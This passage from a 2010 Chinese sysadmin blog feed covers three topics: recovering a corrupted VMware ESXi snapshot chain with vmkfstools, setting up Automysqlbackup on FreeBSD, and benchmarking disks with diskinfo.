    <li>&nbsp;</li>
    <li class="alt"><span>ddb.toolsVersion = <span class="string">&quot;0&quot;</span></span></li>
    <li><span>&hellip;&hellip;&hellip;&hellip;</span></li>
    <li class="alt"><span>----------------------------------------------------------------------</span></li>
    <li><span> cat FreeBSD8-<span class="number">000009.vmdk</span></span></li>
    <li class="alt"><span><span class="comment"># Disk DescriptorFile</span></span></li>
    <li><span>version=<span class="number">1</span></span></li>
    <li class="alt"><span>CID=<span class="number">997874b0</span></span></li>
    <li><span>parentCID=<span class="number">6bc1e139</span></span></li>
    <li class="alt"><span>createType=<span class="string">&quot;vmfsSparse&quot;</span></span></li>
    <li><span>parentFileNameHint=<span class="string">&quot;FreeBSD8-000008.vmdk&quot;</span></span></li>
    <li class="alt"><span><span class="comment"># Extent description</span></span></li>
    <li><span>RW <span class="number">52428800</span><span> VMFSSPARSE </span><span class="string">&quot;FreeBSD8-000009-delta.vmdk&quot;</span></span></li>
    <li class="alt">&nbsp;</li>
    <li><span><span class="comment"># The Disk Data Base</span></span></li>
    <li class="alt"><span><span class="comment">#DDB</span></span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>ddb.toolsVersion = <span class="string">&quot;0&quot;</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
cat FreeBSD8-000001.vmdk
# Disk DescriptorFile
version=1
CID=fe461459
parentCID=77039591     //这里开始出问题了
createType=&quot;vmfsSparse&quot;
parentFileNameHint=&quot;FreeBSD8.vmdk&quot;
# Extent description
RW 52428800 VMFSSPARSE &quot;FreeBSD8-000001-delta.vmdk&quot;

# The Disk Data Base
#DDB

ddb.toolsVersion = &quot;0&quot;
----------------------------------------------------------------------
cat FreeBSD8-000002.vmdk
# Disk DescriptorFile
version=1
CID=004ed653
parentCID=fe461459
createType=&quot;vmfsSparse&quot;
parentFileNameHint=&quot;FreeBSD8-000001.vmdk&quot;
# Extent description
RW 52428800 VMFSSPARSE &quot;FreeBSD8-000002-delta.vmdk&quot;

# The Disk Data Base
#DDB
ddb.toolsVersion = &quot;0&quot;
----------------------------------------------------------------------
cat FreeBSD8-000003.vmdk
# Disk DescriptorFile
version=1
CID=1d8809e0
parentCID=004ed653
createType=&quot;vmfsSparse&quot;
parentFileNameHint=&quot;FreeBSD8-000002.vmdk&quot;
# Extent description
RW 52428800 VMFSSPARSE &quot;FreeBSD8-000003-delta.vmdk&quot;

# The Disk Data Base
#DDB

ddb.toolsVersion = &quot;0&quot;
&hellip;&hellip;&hellip;&hellip;
----------------------------------------------------------------------
 cat FreeBSD8-000009.vmdk
# Disk DescriptorFile
version=1
CID=997874b0
parentCID=6bc1e139
createType=&quot;vmfsSparse&quot;
parentFileNameHint=&quot;FreeBSD8-000008.vmdk&quot;
# Extent description
RW 52428800 VMFSSPARSE &quot;FreeBSD8-000009-delta.vmdk&quot;

# The Disk Data Base
#DDB

ddb.toolsVersion = &quot;0&quot;</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<div>&nbsp;</div>
<div>简单的看了一下所有快照镜像的配置文件发现：1-11个快照镜像中间缺了三个依赖，FreeBSD8-000001.vmdk的父盘CID错误。考虑到要最大恢复到最近的磁盘数据于是打算先将FreeBSD8-000001.vmdk的父盘CID更正，再用vmkfstools将快照镜像和虚拟原盘合并拷贝成一个新磁盘。</div>
<div>&nbsp;</div>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>/vmfs/volumes/</span><span class="number">4c4b73b2</span><span>-</span><span class="number">7bd2fabc</span><span>-</span><span class="number">31ce</span><span>-</span><span class="number">00188b48fd66</span><span>/FreeBSD8 </span><span class="comment"># vmkfstools -i FreeBSD8-000011.vmdk recover/newFB8.vmdk</span></span></li>
    <li><span>Destination disk format: VMFS thick</span></li>
    <li class="alt"><span>Cloning disk <span class="string">'FreeBSD8-000011.vmdk'</span><span>...</span></span></li>
    <li><span>Clone: <span class="number">5</span><span>% done.Failed to clone disk : Read beyond the end of file (</span><span class="number">2311</span><span>).</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
/vmfs/volumes/4c4b73b2-7bd2fabc-31ce-00188b48fd66/FreeBSD8 # vmkfstools -i FreeBSD8-000011.vmdk recover/newFB8.vmdk
Destination disk format: VMFS thick
Cloning disk 'FreeBSD8-000011.vmdk'...
Clone: 5% done.Failed to clone disk : Read beyond the end of file (2311).</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<div>无奈最新的一个快照镜像在5%的时候就挂掉了，报错2311，超过了文件的大小，想了不少办法并做了很多尝试无效之后偶然发现了<a href="http://communities.vmware.com/message/1091185">这个帖子</a>，虽然情况类似但是稍微靠谱一点的回答只有最后那一个</div>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>For me, the problem was that the block count </span><span class="keyword">for</span><span> the drive (RW number </span><span class="keyword">in</span><span> .vmdk file) didn't match the actual size of the -flat.vmdk file. </span></span></li>
    <li><span>Power off the Virtual Machine. </span></li>
    <li class="alt"><span>In Service Console, do ls -l to see the size of the machinename+-flat.vmdk+ file. Divide the value by <span class="number">512.</span><span> The result should be the RW number which goes into machinename+.vmdk+ file. Don't change the geometry parameters </span><span class="keyword">in</span><span> the .vmdk file !!</span></span></li>
    <li><span>Try vmkfstools -i now, should besuccessfull now.</span></li>
    <li class="alt"><span>Do necessary changes you want <span class="keyword">in</span><span> the Properties of the Virtual Machine (</span><span class="keyword">or</span><span> edit .vmx file directly) </span></span></li>
    <li><span>Power on the Virtual Machine</span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
For me, the problem was that the block count for the drive (RW number in .vmdk file) didn't match the actual size of the -flat.vmdk file. 
Power off the Virtual Machine. 
In Service Console, do ls -l to see the size of the machinename+-flat.vmdk+ file. Divide the value by 512. The result should be the RW number which goes into machinename+.vmdk+ file. Don't change the geometry parameters in the .vmdk file !!
Try vmkfstools -i now, should besuccessfull now.
Do necessary changes you want in the Properties of the Virtual Machine (or edit .vmx file directly) 
Power on the Virtual Machine</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<div>但是经排查不是因为错误的大小导致的，所以只能放弃使用老一版本的快照</div>
<div>&nbsp;</div>
<div>&nbsp;</div>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>/vmfs/volumes/</span><span class="number">4c4b73b2</span><span>-</span><span class="number">7bd2fabc</span><span>-</span><span class="number">31ce</span><span>-</span><span class="number">00188b48fd66</span><span>/FreeBSD8 </span><span class="comment"># vmkfstools -i FreeBSD8-000010.vmdk recover/newFB8-10.vmdk</span></span></li>
    <li><span>Destination disk format: VMFS thick</span></li>
    <li class="alt"><span>Cloning disk <span class="string">'FreeBSD8-000010.vmdk'</span><span>...</span></span></li>
    <li><span>Clone: <span class="number">23</span><span>% done.Failed to clone disk : Input/output error (</span><span class="number">327689</span><span>).</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
/vmfs/volumes/4c4b73b2-7bd2fabc-31ce-00188b48fd66/FreeBSD8 # vmkfstools -i FreeBSD8-000010.vmdk recover/newFB8-10.vmdk
Destination disk format: VMFS thick
Cloning disk 'FreeBSD8-000010.vmdk'...
Clone: 23% done.Failed to clone disk : Input/output error (327689).</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<div>使用第十个快照镜像恢复的时候出现了如上的Input/output error (327689).错误，这是很明显的I/O错误，估计要恢复的可能性不大，而且即使可行过程也会相对麻烦，于是只能忍痛到更老的版本&hellip;&hellip;</div>
<div>&nbsp;</div>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>/vmfs/volumes/</span><span class="number">4c4b73b2</span><span>-</span><span class="number">7bd2fabc</span><span>-</span><span class="number">31ce</span><span>-</span><span class="number">00188b48fd66</span><span>/FreeBSD8 </span><span class="comment"># vmkfstools -i FreeB                                             SD8.vmdk recover/newsysdisk.vmdk</span></span></li>
    <li><span>Destination disk format: VMFS thick</span></li>
    <li class="alt"><span>Cloning disk <span class="string">'FreeBSD8.vmdk'</span><span>...</span></span></li>
    <li><span>Clone: <span class="number">92</span><span>% done.</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
/vmfs/volumes/4c4b73b2-7bd2fabc-31ce-00188b48fd66/FreeBSD8 # vmkfstools -i FreeB                                             SD8.vmdk recover/newsysdisk.vmdk
Destination disk format: VMFS thick
Cloning disk 'FreeBSD8.vmdk'...
Clone: 92% done.</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<div>同样的IO错误直到第8个才成功还原一个完成的虚拟硬盘，挂上系统之后发现硬盘上的内容是一个月前的，还好其他的重要数据磁盘和日志磁盘使用的是独立模式，不依赖于快照的虚拟磁盘，这次被ESXi的快照功能伤的很深&hellip;&hellip;</div>
<div>&nbsp;</div>
<div>&nbsp;</div>
<div>&nbsp;</div>
<div>&nbsp;</div>
<div>以后不推荐使用ESXi的快照功能，一是带快照的ESXi客户机系统会严重的降低性能(主要原因是原来是定长的虚拟硬盘文件变为了动长)，二是莫名其妙容易出现快照紊乱，尤其是十几个快照之后稍微有维护者出错的话后果不堪设想。</div>
<div>&nbsp;</div>
<div>&nbsp;</div>
<div>&nbsp;</div>
<div>PS：进入ESXi的命令行的方法,按Alt-F1（切换控制台）、输入&ldquo;unsupported&rdquo;（无回显内容），然后点回车键，就可以激活本地控制台提示符。之后再需要输入root密码，接着就可以进入ESXi主机的本地控制台界面</div>
<div>&nbsp;</div>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/mysql-tmp-table-size">Mysql缓解Copying to tmp table on disk状态</a></p><p><a href="http://www.holmesian.org/samsung_network">三星手机无法上网的解决办法</a></p><p><a href="http://www.holmesian.org/wine-netFramework">wine安装.netFramework时出错的解决</a></p><p><a href="http://www.holmesian.org/missing-zlib-extensions">解决Missing zlib extensions问题</a></p><p><a href="http://www.holmesian.org/FreeBSD-ESXi-opt">FreeBSD在ESXi的虚拟环境下php-cgi性能极差</a></p><p><a href="http://www.holmesian.org/Linux_utf_gbk">解决Linux下音乐播放器列表乱码问题</a></p></div>]]></description>
	<pubDate>Mon, 06 Dec 2010 07:23:00 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/ESXi-Snap-Error</guid>

</item>
<item>
	<title>FreeBSD用Automysqlbackup备份mysql数据库</title>
	<link>http://www.holmesian.org/FreeBSD-mysql-backup</link>
	<description><![CDATA[<p><span style="font-family:Arial;"> Automysqlbackup是一个非常不错的轻量级Mysql自动备份脚本，你可以在</span><a href="http://sourceforge.net/projects/automysqlbackup/files/AutoMySQLBackup/"><span style="font-family:Arial;">http://sourceforge.net/projects/automysqlbackup/files/AutoMySQLBackup/</span></a><span style="font-family:Arial;">下载到最新的版本，经过简单的配置之后添加到系统的周期执行列表中去即可简单实现mysql自动备份的功能。但是这么一个简洁而强大的工具在FreeBSD下使用的时候会提示如下的错误：</span></p>
<p>&nbsp;</p>
<pre style="border-top-width:1px;border-right-width:1px;border-bottom-width:1px;border-left-width:1px;border-top-style:solid;border-right-style:solid;border-bottom-style:solid;border-left-style:solid;border-top-color:#cccccc;border-right-color:#cccccc;border-bottom-color:#cccccc;border-left-color:#cccccc;background-image:initial;background-attachment:initial;background-origin:initial;background-clip:initial;background-color:#fafafa;padding-top:10px;padding-right:20px;padding-bottom:10px;padding-left:20px;margin-top:0px;margin-right:0px;margin-bottom:1em;margin-left:0px;overflow-x:auto;overflow-y:auto;background-position:initial initial;background-repeat:initial initial;"><code>./automysqlbackup.sh.2.5: Command not found.</code></pre> <p><span style="font-family:Arial;">这是因为FreeBSD下默认是没有装bash的，而且即使通过PORTS安装之后相对于脚本中的位置也是不对的，要解决这个问题可以修改脚本中的bash shell路径为</span>#!/bin/sh，或者是用PORTS安装Bash之后将路径#!/usr/local/bin/bash</p>
<p>&nbsp;</p>
<p>PS：备份脚本中要修改的内容一般只有如下</p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span class="comment"># Username to access the MySQL server e.g. dbuser</span></span></li>
    <li><span>USERNAME=Holmesian</span></li>
    <li class="alt">&nbsp;</li>
    <li><span><span class="comment"># Password to access the MySQL server e.g. password</span></span></li>
    <li class="alt"><span>PASSWORD=xxxx</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span><span class="comment"># Host name (or IP address) of MySQL server e.g localhost</span></span></li>
    <li><span>DBHOST=localhost</span></li>
    <li class="alt">&nbsp;</li>
    <li><span><span class="comment"># List of DBNAMES for Daily/Weekly Backup e.g. "DB1 DB2 DB3"</span></span></li>
    <li class="alt"><span>DBNAMES=<span class="string">"all"</span></span></li>
    <li>&nbsp;</li>
    <li class="alt"><span><span class="comment"># Backup directory location e.g /backups</span></span></li>
    <li><span>BACKUPDIR=<span class="string">"/backup/db"</span></span></li>
    <li class="alt">&nbsp;</li>
    <li><span><span class="comment"># Mail setup</span></span></li>
    <li class="alt"><span><span class="comment"># What would you like to be mailed to you?</span></span></li>
    <li><span><span class="comment"># - log   : send only log file</span></span></li>
    <li class="alt"><span><span class="comment"># - files : send log file and sql files as attachments (see docs)</span></span></li>
    <li><span><span class="comment"># - stdout : will simply output the log to the screen if run manually.</span></span></li>
    <li class="alt"><span><span class="comment"># - quiet : Only send logs if an error occurs to the MAILADDR.</span></span></li>
    <li><span>MAILCONTENT=<span class="string">"log"</span></span></li>
    <li class="alt">&nbsp;</li>
    <li><span><span class="comment"># Set the maximum allowed email size in k. (4000 = approx 5MB email [see docs])</span></span></li>
    <li class="alt"><span>MAXATTSIZE=<span class="string">"4000"</span></span></li>
    <li>&nbsp;</li>
    <li class="alt"><span><span class="comment"># Email Address to send mail to? (user@domain.com)</span></span></li>
    <li><span>MAILADDR=<span class="string">"Holmesian@holmesian.org"</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none;">
<pre># Username to access the MySQL server e.g. dbuser
USERNAME=debian

# Password to access the MySQL server e.g. password
PASSWORD=

# Host name (or IP address) of MySQL server e.g localhost
DBHOST=localhost

# List of DBNAMES for Daily/Weekly Backup e.g. "DB1 DB2 DB3"
DBNAMES="all"

# Backup directory location e.g /backups
BACKUPDIR="/srv/backup/db"

# Mail setup
# What would you like to be mailed to you?
# - log   : send only log file
# - files : send log file and sql files as attachments (see docs)
# - stdout : will simply output the log to the screen if run manually.
# - quiet : Only send logs if an error occurs to the MAILADDR.
MAILCONTENT="log"

# Set the maximum allowed email size in k. (4000 = approx 5MB email [see docs])
MAXATTSIZE="4000"

# Email Address to send mail to? (user@domain.com)
MAILADDR="maintenance@example.com"</pre> </div>
<div contenteditable="false">
<link href="/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet"></div>
</div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/FreeBSD_csh_tcsh">FreeBSD配置csh/tcsh</a></p><p><a href="http://www.holmesian.org/Python-MySQLdb">让Python支持Mysql</a></p><p><a href="http://www.holmesian.org/post/527">FreeBSD启动过程</a></p><p><a href="http://www.holmesian.org/FreeBSD_chmod">关于Linux和Unix系统下权限的理解</a></p><p><a href="http://www.holmesian.org/FreeBSD-ESXi-opt">FreeBSD在ESXi的虚拟环境下php-cgi性能极差</a></p><p><a href="http://www.holmesian.org/arename">图片自动更名器</a></p></div>]]></description>
	<pubDate>Mon, 06 Dec 2010 06:29:29 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/FreeBSD-mysql-backup</guid>

</item>
<item>
	<title>FreeBSD下测试硬盘传输速度 diskinfo </title>
	<link>http://www.holmesian.org/FreeBSD-diskinfo</link>
	<description><![CDATA[<p>很好用的工具<span class="Apple-style-span" style="font-family: Tahoma, Helvetica, sans-serif; line-height: 20px; "> diskinfo -tv da0</span></p>
<p>da0是磁盘名</p>
<p>&nbsp;</p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>da0</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">512</span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">#&nbsp;sectorsize</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">5368709120</span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">#&nbsp;mediasize&nbsp;in&nbsp;bytes&nbsp;(5.0G)</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">10485760</span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">#&nbsp;mediasize&nbsp;in&nbsp;sectors</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">652</span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">#&nbsp;Cylinders&nbsp;according&nbsp;to&nbsp;firmware.</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">255</span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">#&nbsp;Heads&nbsp;according&nbsp;to&nbsp;firmware.</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">63</span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">#&nbsp;Sectors&nbsp;according&nbsp;to&nbsp;firmware.</span></span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>Seek&nbsp;times:</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Full&nbsp;stroke:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">250</span><span>&nbsp;iter&nbsp;</span><span class="keyword">in</span><span>&nbsp;&nbsp;&nbsp;</span><span class="number">1.570215</span><span>&nbsp;sec&nbsp;=&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="number">6.281</span><span>&nbsp;msec</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Half&nbsp;stroke:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">250</span><span>&nbsp;iter&nbsp;</span><span class="keyword">in</span><span>&nbsp;&nbsp;&nbsp;</span><span class="number">1.853518</span><span>&nbsp;sec&nbsp;=&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="number">7.414</span><span>&nbsp;msec</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Quarter&nbsp;stroke:&nbsp;&nbsp;&nbsp;<span class="number">500</span><span>&nbsp;iter&nbsp;</span><span class="keyword">in</span><span>&nbsp;&nbsp;&nbsp;</span><span class="number">5.152832</span><span>&nbsp;sec&nbsp;=&nbsp;&nbsp;&nbsp;</span><span class="number">10.306</span><span>&nbsp;msec</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Short&nbsp;forward:&nbsp;&nbsp;diskinfo:&nbsp;read&nbsp;error&nbsp;<span class="keyword">or</span><span>&nbsp;disk&nbsp;too&nbsp;small&nbsp;</span><span class="keyword">for</span><span>&nbsp;test.:&nbsp;No&nbsp;such&nbsp;file&nbsp;</span><span class="keyword">or</span><span>&nbsp;directory</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
da0
        512             # sectorsize
        5368709120      # mediasize in bytes (5.0G)
        10485760        # mediasize in sectors
        652             # Cylinders according to firmware.
        255             # Heads according to firmware.
        63              # Sectors according to firmware.

Seek times:
        Full stroke:      250 iter in   1.570215 sec =    6.281 msec
        Half stroke:      250 iter in   1.853518 sec =    7.414 msec
        Quarter stroke:   500 iter in   5.152832 sec =   10.306 msec
        Short forward:  diskinfo: read error or disk too small for test.: No such file or directory
</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>&nbsp;</span><span class="comment">#diskinfo&nbsp;-tv&nbsp;da0</span></span></li>
    <li><span>da0</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">512</span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">#&nbsp;sectorsize</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">26843545600</span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">#&nbsp;mediasize&nbsp;in&nbsp;bytes&nbsp;(25G)</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">52428800</span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">#&nbsp;mediasize&nbsp;in&nbsp;sectors</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">3263</span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">#&nbsp;Cylinders&nbsp;according&nbsp;to&nbsp;firmware.</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">255</span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">#&nbsp;Heads&nbsp;according&nbsp;to&nbsp;firmware.</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">63</span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">#&nbsp;Sectors&nbsp;according&nbsp;to&nbsp;firmware.</span></span></li>
    <li class="alt"><span>Seek&nbsp;times:</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Full&nbsp;stroke:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">250</span><span>&nbsp;iter&nbsp;</span><span class="keyword">in</span><span>&nbsp;&nbsp;&nbsp;</span><span class="number">3.402582</span><span>&nbsp;sec&nbsp;=&nbsp;&nbsp;&nbsp;</span><span class="number">13.610</span><span>&nbsp;msec</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Half&nbsp;stroke:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">250</span><span>&nbsp;iter&nbsp;</span><span class="keyword">in</span><span>&nbsp;&nbsp;&nbsp;</span><span class="number">3.133905</span><span>&nbsp;sec&nbsp;=&nbsp;&nbsp;&nbsp;</span><span class="number">12.536</span><span>&nbsp;msec</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Quarter&nbsp;stroke:&nbsp;&nbsp;&nbsp;<span class="number">500</span><span>&nbsp;iter&nbsp;</span><span class="keyword">in</span><span>&nbsp;&nbsp;&nbsp;</span><span class="number">5.943346</span><span>&nbsp;sec&nbsp;=&nbsp;&nbsp;&nbsp;</span><span class="number">11.887</span><span>&nbsp;msec</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Short&nbsp;forward:&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">400</span><span>&nbsp;iter&nbsp;</span><span class="keyword">in</span><span>&nbsp;&nbsp;&nbsp;</span><span class="number">3.128173</span><span>&nbsp;sec&nbsp;=&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="number">7.820</span><span>&nbsp;msec</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Short&nbsp;backward:&nbsp;&nbsp;&nbsp;<span class="number">400</span><span>&nbsp;iter&nbsp;</span><span class="keyword">in</span><span>&nbsp;&nbsp;&nbsp;</span><span class="number">2.822509</span><span>&nbsp;sec&nbsp;=&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="number">7.056</span><span>&nbsp;msec</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Seq&nbsp;outer:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">2048</span><span>&nbsp;iter&nbsp;</span><span class="keyword">in</span><span>&nbsp;&nbsp;&nbsp;</span><span class="number">1.325654</span><span>&nbsp;sec&nbsp;=&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="number">0.647</span><span>&nbsp;msec</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Seq&nbsp;inner:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">2048</span><span>&nbsp;iter&nbsp;</span><span class="keyword">in</span><span>&nbsp;&nbsp;&nbsp;</span><span class="number">0.905938</span><span>&nbsp;sec&nbsp;=&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="number">0.442</span><span>&nbsp;msec</span></span></li>
    <li class="alt"><span>Transfer&nbsp;rates:</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;outside:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">102400</span><span>&nbsp;kbytes&nbsp;</span><span class="keyword">in</span><span>&nbsp;&nbsp;&nbsp;</span><span class="number">1.252566</span><span>&nbsp;sec&nbsp;=&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="number">81752</span><span>&nbsp;kbytes/sec</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;middle:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="number">102400</span><span>&nbsp;kbytes&nbsp;</span><span class="keyword">in</span><span>&nbsp;&nbsp;&nbsp;</span><span class="number">0.949189</span><span>&nbsp;sec&nbsp;=&nbsp;&nbsp;&nbsp;</span><span class="number">107882</span><span>&nbsp;kbytes/sec</span></span></li>
